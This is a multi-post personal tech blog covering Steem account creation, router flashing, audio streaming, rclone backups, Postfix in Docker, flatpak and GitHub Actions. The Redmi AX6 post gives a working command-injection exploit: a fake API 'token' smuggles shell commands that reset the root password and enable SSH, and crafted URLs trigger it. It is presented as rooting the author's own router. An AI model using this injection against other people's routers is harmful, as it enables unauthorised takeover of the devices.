Akawa

ETY001的博客

Here is the demo code which displays how to create a new account with Steem JS SDK in two different ways ( by taking fee or by taking interests of claimed account).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
const steem = require('steem')

const creator = 'test1';
const activeWif = '';
const newUsername = 'test2';
const newPasswd = 'P5KZS6bp8sVxxxxxxxxxD48jwBKxshpNZxsYnJ';
const fee = '3.000 STEEM'

const newKeys = steem.auth.getPrivateKeys(newUsername, newPasswd, ['owner', 'active', 'posting', 'memo']);
console.log(newKeys);

const weightThreshold = 1;
const accountAuths = [];
const owner = {
weight_threshold: weightThreshold,
account_auths: accountAuths,
key_auths: [[newKeys.ownerPubkey, 1]],
};
const active = {
weight_threshold: weightThreshold,
account_auths: accountAuths,
key_auths: [[newKeys.activePubkey, 1]],
};
const posting = {
weight_threshold: weightThreshold,
account_auths: accountAuths,
key_auths: [[newKeys.postingPubkey, 1]],
};
const memoKey = newKeys.memoPubkey;

// create a new user by creator with 3.000 STEEM fee
steem.broadcast.accountCreate(activeWif, fee, creator, newUsername, owner, active, posting, memoKey, '{}', function(err, result) {
console.log(err, result);
});

// create a new user by creator with claimed account interests
const op = [
"create_claimed_account",
{
"creator": creator,
"new_account_name": newUsername,
"owner": owner,
"active": active,
"posting": posting,
"memo_key": memoKey,
"json_metadata": "{}"
}
];
const tx = {
operations: [op],
};
steem.broadcast.send(tx, [activeWif], function(err, result) {
console.log(err, result);
});

前情提要

前段时间刷机,因为官方文档的问题,我把路由刷成砖了。

然后尝试了 ttl 救砖,一开始能进 uboot ,后来因为刷错了,导致 uboot 也挂了。

image.png

最后买了热风枪和编程器,拆焊后,用编程器刷固件。

image.png

固件倒是刷成功了,但是焊回去后,路由无法开机,看上去焊接的没有问题,估计是热风枪把路由器主板搞的太热,把某个元器件搞坏了吧,毕竟是我第一次用热风枪。

image.png

于是从闲鱼二手买了一个同款路由器,重新刷机。之所以买同款,是因为这台路由器整体的硬件配置和价格真的是超高性价比啊。

这次吸取了之前刷机时对于官方文档中不确定的命令参数不懂硬上的教训,所以记录一下整个刷机过程。

大概过程是:

  • 破解获取SSH权限
  • 刷入临时 Openwrt 固件到 mtd12,设置下次引导到 mtd12,重启
  • 刷入扩容后的分区表到 mtd1,刷入魔改后的不死 uboot 到 mtd7
  • 断电
  • 按住 reset 键,上电,电脑网线连接 LAN 口,手动配置路由 IP 为 192.168.1.4/24
  • 访问 uboot 的 web 界面,192.168.1.1,刷入最终的 Openwrt 固件

所有涉及到的固件都在这里: https://pan.baidu.com/s/1341uqxZab8om_YL9UEJpAA?pwd=2333

破解

小米在旧的固件上不知道是故意留的后门,还是真有漏洞。第一步就是通过路由器管理界面的升级功能,降级固件到 1.0.16。

之后需要准备一台 OpenWRT,我这里正好有个闲置的刚好拿来用。

image.png

把这台 OpenWRT 的 LAN 口 IP 设置为 169.254.31.1,然后关闭 DHCP。

之后把 PC 端修改为 169.254.31.22/24(这里官方文档是错误的)。

完成生效后,登陆这台路由器的 SSH,创建文件 /usr/lib/lua/luci/controller/admin/xqsystem.lua,内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
module("luci.controller.admin.xqsystem", package.seeall)

function index()
local page = node("api")
page.target = firstchild()
page.title = ("")
page.order = 100
page.index = true
page = node("api","xqsystem")
page.target = firstchild()
page.title = ("")
page.order = 100
page.index = true
entry({"api", "xqsystem", "token"}, call("getToken"), (""), 103, 0x08)
end

local LuciHttp = require("luci.http")

function getToken()
local result = {}
result["code"] = 0
result["token"] = "; echo -e 'admin\nadmin' | passwd root; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"
LuciHttp.write_json(result)
end

保存后,这时你用电脑访问 http://169.254.31.1/cgi-bin/luci/api/xqsystem/token 就能看到上面脚本文件中 result 变量的输出内容了,这个就是一会需要注入到 Redmi AX6 路由的代码。

可以看到我们注入的代码做了这么两个工作:

  • 修改 root 用户密码为 admin
  • 启动 ssh 服务

准备工作完毕,下面正式开始破解。

PC 清空之前的 IP 设置,改为自动获取,使用网线连接 Redmi AX6(之所以用网线,是因为破解使用的是路由无线中继中的漏洞,如果用 wifi 连接,在破解过程中会脱离与路由器的连接)。

登陆 Redmi AX6 网页界面后,可以看到 URL 中有一个 stok 的值,我们复制出来备用(这里假设是 aaabbb)。

假设我们之前准备的 OpenWRT 路由的 WiFi 名是 ety001op,密码是 12345678

构造下面两条URL,然后浏览器依次访问

1
2
3
4
5
http://192.168.31.1/cgi-bin/luci/;stok=aaabbb/api/misystem/extendwifi_connect?ssid=ety001op&password=12345678
替换 stok, ssid, password 为你自己的

http://192.168.31.1/cgi-bin/luci/;stok=aaabbb/api/xqsystem/oneclick_get_remote_token?username=xxx&password=xxx&nonce=xxx
替换 stok 为你自己的

第一个 URL 是让 Redmi 去连接我们准备的路由器,第二个 URL 就是让 Redmi 获取要注入的代码。

下面我们 ssh [email protected] 就能连接到 Redmi 的终端界面了,密码是 admin

至此破解结束。

刷入临时 OpenWRT

进入 Redmi 的终端后,如果你想备份下,可以执行下面的命令备份相关的分区

1
dd if=/dev/mtd1 of=/tmp/mtd1.bin

具体的分区情况,可以通过这条命令查看

1
cat /proc/mtd

一般备份下 ART 分区,uboot 分区。

因为 Redmi AX6 是双系统,mtd12 一个系统,mtd13 一个系统。

我们要合并的是 mtd12, mtd13, mtd14(overlay分区),因此我们需要先确认下我们目前是启动的哪个分区的系统(一般情况下出厂都是 mtd13 分区的系统)。

1
nvram get flag_boot_rootfs

这是对照表

1
2
mtd12  "rootfs"    0
mtd13 "rootfs_1" 1

如果你看到你输出结果是 0,那么你现在用的是 mtd12 的系统,你需要先切换到 mtd13 系统去

1
2
3
4
nvram set flag_last_success=1
nvram set flag_boot_rootfs=1
nvram commit
reboot

我们必须确保自己是在 mtd13 分区的系统中

下面刷入临时系统(固件xiaomimtd12.bin)到 mtd12 分区,同时设置下次启动 mtd12 分区

1
2
3
4
5
mtd write /tmp/xiaomimtd12.bin rootfs
nvram set flag_last_success=0
nvram set flag_boot_rootfs=0
nvram commit
reboot

如果一切顺利,重启后,你 PC 的 IP 地址会获取到 192.168.1.0/24 段的,访问 192.168.1.1 可以顺利打开 OpenWRT 登陆界面。

扩容并刷入Uboot

我们重新登陆 SSH,ssh [email protected],这个临时 OpenWRT 密码为空。

通过工具把 ax6-uboot.binax6-uboot-mibib.bin 两个文件传入到路由器 /tmp 目录里。

扩容前打印下分区表,确认 mtd1 和 mtd7 存在

1
cat /proc/mtd

确认后,顺次执行下面的命令,擦除分区并写入

1
2
3
4
mtd erase /dev/mtd1
mtd write /tmp/ax6-uboot-mibib.bin /dev/mtd1
mtd erase /dev/mtd7
mtd write /tmp/ax6-uboot.bin /dev/mtd7

等待执行成功。

断电

分区修改后,记得一点要 断电

分区修改后,记得一点要 断电

分区修改后,记得一点要 断电

刷入最终的系统

剩下的操作就简单了,只要能顺利进入 Uboot,以后刷机就简单了,也不用担心变砖了(理论上 factory 的固件都可以刷)。

进入 Uboot 的方法基本上都一样,就是在断电的情况下,按住 reset ,上电。

Redmi AX6 指示灯会先蓝灯闪烁,然后变黄灯,这时松开 reset ,电脑上手动配置 IP 为 192.168.1.2/24

进入 Uboot 的 Web 界面 192.168.1.1,选择最终固件 openwrt-ipq807x-generic-redmi_ax6-squashfs-nand-factory.ubi ,刷入,重启,成功!

我的服务器宿主机安装的是 PVE,上面跑着一台 Archlinux 的虚拟机作为工作机(显卡、键盘、鼠标、USB声卡直通),一台 Windows 的虚拟机作为辅助(在 Archlinux 下使用 KRDC 连接后一直开着一个窗口,用来运行没法在 Linux 下原生运行的程序,比如微信)。

最近看到 Atlas OS 不错,于是想要用 Atlas OS 重做 Windows 虚拟机。

但是问题是 Atlas OS 不支持 RDP,于是我只能选择 VNC 方式连接(tightvnc)。

但是众所周知,VNC 不支持声音传输。

搜索了一晚上,终于找到了一个牛逼的库,可以在 Windows 下实现虚拟声卡,然后通过 multicast 或者 unicast 的方式,把声音转到同局域网下的其他设备播放。

地址:https://github.com/duncanthrax/scream

我们的目的就是在 Windows 虚拟机安装虚拟声卡,在 Archlinux 下安装 Receiver。

Archlinux 下安装 Receiver 非常简单,直接用 Aur 库安装即可,

1
yay -S scream-git

安装后,启动

1
scream -u -o pulse

这样就指定 Receiver 用 unicast 方式接收数据,然后转给 pulseaudio 进行播放。

然后去 duncanthrax/scream 库的 Release 页面下载最新版本。

解压后,找到安装 bat 脚本,选择 x64 架构的,右键,用管理员权限执行。

这里在 Atlas 下有个问题,就是 Atlas 把 netlogon 服务给干掉了,导致 bat 脚本的 net session 执行失败,进而检查用户权限失败,进而无法安装。解决方法就是用记事本编辑 bat 脚本,把里面的 if 部分去掉,然后再用管理员权限执行,即可完成安装。

之后,需要配置 Windows 端也使用 unicast 。

image.png

按照图片在注册表中新建指定内容即可,一个配置指向 IP,一个配置指向端口,截图里的端口是 4011,Receiver 的默认端口是 4010。

修改完注册表,需要重启计算机,之后就能在 Windows 里播放声音测试了。

测试没有问题,我们需要在 Receiver 端配置开启启动,

新建 ~/.config/systemd/user/scream.service 文件,内容如下:

1
2
3
4
5
6
7
8
9
[Unit]
Description=scream

[Service]
ExecStart=/usr/bin/scream -u -p 4011 -o pulse
Restart=always

[Install]
WantedBy=default.target

然后执行下面的命令,设置为开机自启动

1
$ systemctl --user enable scream

最后重启下 Archlinux 试试。

最近服务器加装了带供电的 PCIe 转 USB 的板卡,然后发现接在上面的 USB 声卡,挂载到 Linux 的虚拟机里有噪音,但是挂载到 Windows 的虚拟机里没有噪音。

搜索了很多内容,最终找到了解决方案,修改了一下采样率,让人难受了两个月的问题终于解决。

1
2
3
4
5
6
7
$ vim  ~/.config/pulse/daemon.conf
添加下面的配置
default-sample-rate = 48000
保存退出,重启 pulseaudio

$ pulseaudio -k
$ pulseaudio --start

最近调整了 Steem 区块数据的备份服务,使用了新的服务商 Hetzner。

由于 Hetzner 提供了多种上传下载数据的方式,我测试了 rsync,samba,webdav,目前决定使用 webdav,通过牛逼的 rclone 工具。

这篇文章记录下相关的配置。

首先需要安装 rclone,安装方法在官网有 https://rclone.org/install/

配置 rclone 也很简单,安装后执行 rclone config,按照提示,创建新的连接,输入连接名(比如 hetzner),选择连接方式为 WebDAV,输入 URL、用户名、密码完成配置。

使用 rclone ls [连接名]:[目录名] 命令,检查一下是否配置成功。

1
2
3
4
5
[root@steem ~]# rclone ls hetzner:steem
192373084633 block_log_20221005.tar.gz
341570969022 steem_api_20221005.tar.lz4
249576123913 steem_witness_20220805.tar.lz4
251694849097 steem_witness_20221003.tar.lz4

执行成功。

现在把本地备份服务器和远端的 https://files.steem.fans 服务器上都配置好 rclone。

本地备份服务器的备份脚本,涉及上传删除的指令都换成 rclone copyrclone delete

远端服务器之前是 nginx 做 autoindex,并以 json 格式显示目录文件结构:

1
2
3
4
5
6
7
8
9
10
11
12
location /data {
alias /data/wwwroot/steem;
autoindex on;
autoindex_localtime on;
autoindex_exact_size off;
autoindex_format json;
# Enable your browser to access here.
add_header Access-Control-Allow-Origin "*";
add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
add_header Access-Control-Allow-Headers "Origin, Authorization, Accept";
add_header Access-Control-Allow-Credentials true;
}

现在换成 rclone 了,rclone 可以用挂载的方式继续使用 nginx 的 autoindex。

不过这里有一个问题,就是我的 nginx 是 docker 方式运行的,rclone 挂载目录后,还需要再挂载进 docker 容器。而每次 rclone 重启,都需要再重启一遍 nginx 容器。这就很糟糕了。

研究了下 rclone 的文档,发现可以使用 rclone serve web 启动一个 Web 服务器来显示 Hetzner 服务器目录,不过不支持 json 格式显示结果。幸好有个参数可以自定义模板。于是我自己写了个模板,

1
[{{$length := len .Entries}}{{- range $i, $entry := .Entries}}{{- if $entry.IsDir}}{{if ne $i 0}},{{end}}{ "name":"{{html $entry.Leaf}}", "type":"directory", "mtime":"{{$entry.ModTime.Format "Jan 02, 2006 15:04:05 UTC"}}", "size":{{$entry.Size}}}{{- else}}{{if ne $i 0}},{{end}}{ "name":"{{html $entry.Leaf}}", "type":"file", "mtime":"{{$entry.ModTime.Format "Jan 02, 2006 15:04:05 UTC"}}", "size":{{$entry.Size}}}{{- end}}{{- end}}]

然后安装 supervisor 来管理 rclone serve 服务,

1
2
3
4
5
6
7
8
9
10
[program:rclone_hetzner]
command = /usr/bin/rclone serve http --addr 0.0.0.0:8088 --template /etc/rclone/template.html --vfs-cache-mode writes --buffer-size 32M --dir-cache-time 12h --vfs-read-chunk-size 64M --vfs-read-chunk-size-limit 1G hetzner:steem
autostart = true
startsecs = 10
autorestart = true
user = root
stdout_logfile_maxbytes = 20MB
stdout_logfile_backups = 20
stdout_logfile = /var/log/supervisor/rclone_het.log
stderr_logfile = /var/log/supervisor/rclone_het_err.log

最后,修改 nginx 配置文件,

1
2
3
location ~ ^/data(/?)(.*) {
proxy_pass http://172.20.0.1:8088/$2;
}

访问测试下 https://files.steem.fans/data,成功。

目前总体迁移工作完成了大部分了,还得需要再等最后的数据replay结束。

Today I found the date command has different performance when I develop a bash shell.

In Ubuntu OS:

1
2
-> % date -d '2022-06-16T23:21:03' +%s
1655421663

The same command in Alpine OS. This will give an error message:

1
2
/ # date -d '2022-06-16T23:21:03' +%s
date: invalid date '2022-06-16T23:21:03'

We have to remove the letter T from the time string.

1
2
/ # date -d '2022-06-16 23:21:03' +%s
1655421663

由于最近一台VPS要到期不打算续费了,上面有一个SMTP发邮件的服务,因此需要转移。

当时配置的时候,是直接在宿主机搞的,转移起来有些麻烦。

为了以后转移方便,这次打算使用 docker 部署。

在网上找了半天,有很多类似的快速搭建的 Docker 镜像。

我找到的是这个 https://github.com/cainwise/docker-postfix

但是这个库里记录的 Docker 镜像已经不存在或者被作者设置为私有了。

而 Dockerfile 编译也因为软件包过时的原因,无法编译了。

于是花了三天三夜的时间重写了 Dockerfile。

新的代码库:https://github.com/ety001/docker-postfix

现在可以基于我新做的 Docker 镜像来快速部署 SMTP 服务了。

假设要为 example.com 域设置一个邮件服务器 mail.example.com(IP 地址为 1.2.3.4),并开启 STARTTLS 的支持。

创建 Postfix 容器

创建目录 /etc/postfix_conf/dkim_keys/etc/postfix_conf/tls

1
2
mkdir -p /etc/postfix_conf/dkim_keys
mkdir -p /etc/postfix_conf/tls

运行临时容器,不带 STARTTLS 功能

1
2
3
4
5
6
7
8
9
shell> docker run --name postfix \
-itd --rm\
--restart always \
-p 25:25 \
-e MTA_DOMAIN=example.com \
-e MTA_HOST=mail.example.com \
-e MTA_USERS=user:passwd \
-v /etc/postfix_conf/dkim_keys:/etc/opendkim/keys \
ety001/postfix

使用 acme.sh 来申请证书并安装证书

1
2
3
4
5
6
shell> acme.sh --issue -d mail.example.com --dns dns_cf
shell> acme.sh --installcert \
-d mail.example.com \
--key-file /etc/postfix_conf/tls/mail.example.com.key \
--fullchain-file /etc/postfix_conf/tls/mail.example.com.crt \
--reloadcmd "docker restart postfix"

停止容器,启动正式容器(即多增加一个证书目录的映射)

1
2
3
4
5
6
7
8
9
10
shell> docker stop postfix
shell> docker run --name postfix \
-itd --restart always \
-p 25:25 \
-e MTA_DOMAIN=example.com \
-e MTA_HOST=mail.example.com \
-e MTA_USERS=user:passwd \
-v /etc/postfix_conf/dkim_keys:/etc/opendkim/keys \
-v /etc/postfix_conf/tls:/etc/postfix/tls \
ety001/postfix

配置 MX 记录 和 A 记录

Type Host Answer
MX example.com mail.example.com
A mail.example.com 1.2.3.4
  • MX 保证向 example.com 域发送的邮件就会被递送到 mail.example.com
  • A 记录保证能解析到 mail.example.com 的 IP 地址。

配置 PTR 记录 (rDNS)

1.2.3.4 配置反向解析,值为 mail.example.com

配置 SPF 记录

Type Host Answer
TXT example.com v=spf1 mx ~all
SPF example.com v=spf1 mx ~all

配置 DKIM 记录

容器创建后,会在容器日志中显示公钥值,将其中的值按如下方式填写即可:

Type Host Answer
TXT mail._domainkey.example.com v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCi3zFH65YkLK+Edfu3VeZH2ylOpNC3ADfkL2p1PjhWQXrzn65rvrh2YTqEEb8xGunWD9c422SBoxRdpVENhUqnbb1Tk0Xu58gfrN2muTIedFDtWx7irvySNtDgcWWIdXDaPFk/nodeutahtueaszEuLqI/DpKD/9mY9Mm5QIDAQAB

配置 DMARC 记录

Type Host Answer
TXT _dmarc.example.com v=DMARC1; p=reject; [email protected]

测试

用一个简单 Node 程序来测试邮件服务是否可以正常工作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
'use strict';

const nodemailer = require('nodemailer');

const transporter = nodemailer.createTransport({
host: 'mail.example.com',
port: 25,
secure: false,
requireTLS: true,
auth: {
user: '[email protected]',
pass: 'passwd'
},
});

// setup e-mail data with unicode symbols
var mailOptions = {
from: '"BOSS" <[email protected]>', // sender address
to: '<your mail>', // list of receivers
subject: '风中的来信', // Subject line
text: '为了防止垃圾邮件,现在有许多 SMTP 服务器要求客户端的 IP 地址必须要能够查到有效的 PTR 记录。', // plaintext body
html: '为了防止垃圾邮件,现在有许多 SMTP 服务器要求客户端的 IP 地址必须要能够查到有效的 PTR 记录。' // html body
};

// send mail with defined transport object
transporter.sendMail(mailOptions, function(error, info){
if(error){
return console.log(error);
}
console.log('Message sent: ' + info.response);
})

之前使用 Chromebook 内置的 Linux 容器,一直都是用系统自带的 apt 包管理程序,但是很多常用的社交软件都不在 apt 包管理中,比如 slack, telegram, discord 等等。

每次都要挨个网站去下载 deb 安装包,然后手动一个个安装,非常费劲。

这次借着五一假期对我的 Pixelbook 进行下优化整理,用 flatpak 来作为主要的包管理工具。

之所以选择 flatpak 主要是这个货官方页面显示支持 ChromeOS,那么意味着大概率是有针对 ChromeOS 进行过优化的。

image

安装 flatpak 非常简单,按照官方的教程,逐步操作即可完成,https://flatpak.org/setup/Chrome%20OS

针对国内用户,唯一需要了解的就是如何给使用 flatpak 安装的应用,增加代理配置。

网上给出的方案,我没有尝试成功,不过这里还是要记录下。

思路就是进入 flatpak 安装的应用的沙盒环境,然后使用 gsettings 来设置 dconf 数据库。

有些应用是直接从 dconf 获取相关配置的,具体命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#进入容器
flatpak run --command=sh com.google.Chrome

#设置代理为手动模式
gsettings set org.gnome.system.proxy mode 'manual'

#设置 HTTP 代理
gsettings set org.gnome.system.proxy.http host localhost
gsettings set org.gnome.system.proxy.http port 3128

#设置 HTTPS 代理
gsettings set org.gnome.system.proxy.https host localhost
gsettings set org.gnome.system.proxy.https port 3128

#设置 Socks 代理
gsettings set org.gnome.system.proxy.socks host localhost
gsettings set org.gnome.system.proxy.socks port 1080

我没有测试成功这种方法。

我的方法是,修改 ~/.local/share/flatpak/exports/share/applications/ 目录下面相关的 *.desktop 文件,如下:

1
2
3
4
5
6
7
8
9
10
11
12
[Desktop Entry]
Name=Discord
StartupWMClass=discord
Comment=All-in-one voice and text chat for gamers that's free, secure, and works on both your desktop and phone.
GenericName=Internet Messenger
Exec=env http_proxy=http://127.0.0.1:8001 https_proxy=http://127.0.0.1:8001 sommelier -X --scale=0.35 /usr/bin/flatpak run --branch=stable --arch=x86_64 --command=discord com.discordapp.Discord
Icon=com.discordapp.Discord
Type=Application
Categories=Network;InstantMessaging;
Path=/usr/bin
X-Flatpak-Tags=proprietary;
X-Flatpak=com.discordapp.Discord

可以看到我在 Exec 中增加了两条 env 指令来配置容器启动时的环境变量。

除了代理外,还有个问题就是 Linux 容器下打开的应用的鼠标指针很小,找到的解决方案是使用 sommelier 命令指定 scale 值。

在上面的代码中能看到,在调用 /usr/bin/flatpak 之前,先调用了 sommelier -X --scale=0.35

具体的 scale 值需要看你的具体的环境来调整。

这下安装这些社交软件,就可以一键完成了。赞!

1
2
3
4
5
flatpak install flathub org.mozilla.firefox
flatpak install flathub com.visualstudio.code
flatpak install flathub com.slack.Slack
flatpak install flathub com.authy.Authy
flatpak install flathub org.gnome.seahorse.Application

最近在研究 github actions。 这个是 github 提供的 CI/CD 服务,并且对于开源库来说,几乎就是免费使用。

得利于 github actions 支持很多的环境,所以可以做很多的事情。

最近研究的方向就是 github actions 的计划任务功能。

而计划任务执行完需要通知我一下。

当前我自己用的比较多的是 telegram,所以优先找了一下如何发消息到 telegram 的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
name: 'GitHub Actions Test for Telegram Notification'

on:
schedule:
- cron: '30 0 * * *'

jobs:
bot:
runs-on: ubuntu-latest
steps:
- name: 'Send telegram message'
uses: appleboy/telegram-action@master
with:
to: ${{ secrets.TELEGRAM_TO }}
token: ${{ secrets.TELEGRAM_TOKEN }}
message: |
this is the test message

只要再在 github 这个库的设置里面,增加 secrets 设置(TELEGRAM_TO 和 TELEGRAM_TOKEN)即可。

今天才知道,原来 archlinux 的 makepkg 可以更换下载器啊。

按照 arch 官方文档的说明,修改一下 /etc/makepkg.confDLAGENTS 变量。

1
2
3
4
5
6
DLAGENTS=('file::/usr/bin/curl -qgC - -o %o %u'
'ftp::/usr/bin/aria2c -UWget -s4 %u -o %o'
'http::/usr/bin/aria2c -UWget -s4 %u -o %o'
'https::/usr/bin/aria2c -UWget -s4 %u -o %o'
'rsync::/usr/bin/rsync --no-motd -z %u %o'
'scp::/usr/bin/scp -C %u %o')

然后以后再用 makepkg 的时候,就能体验到 aria2 优秀的下载体验了。

0%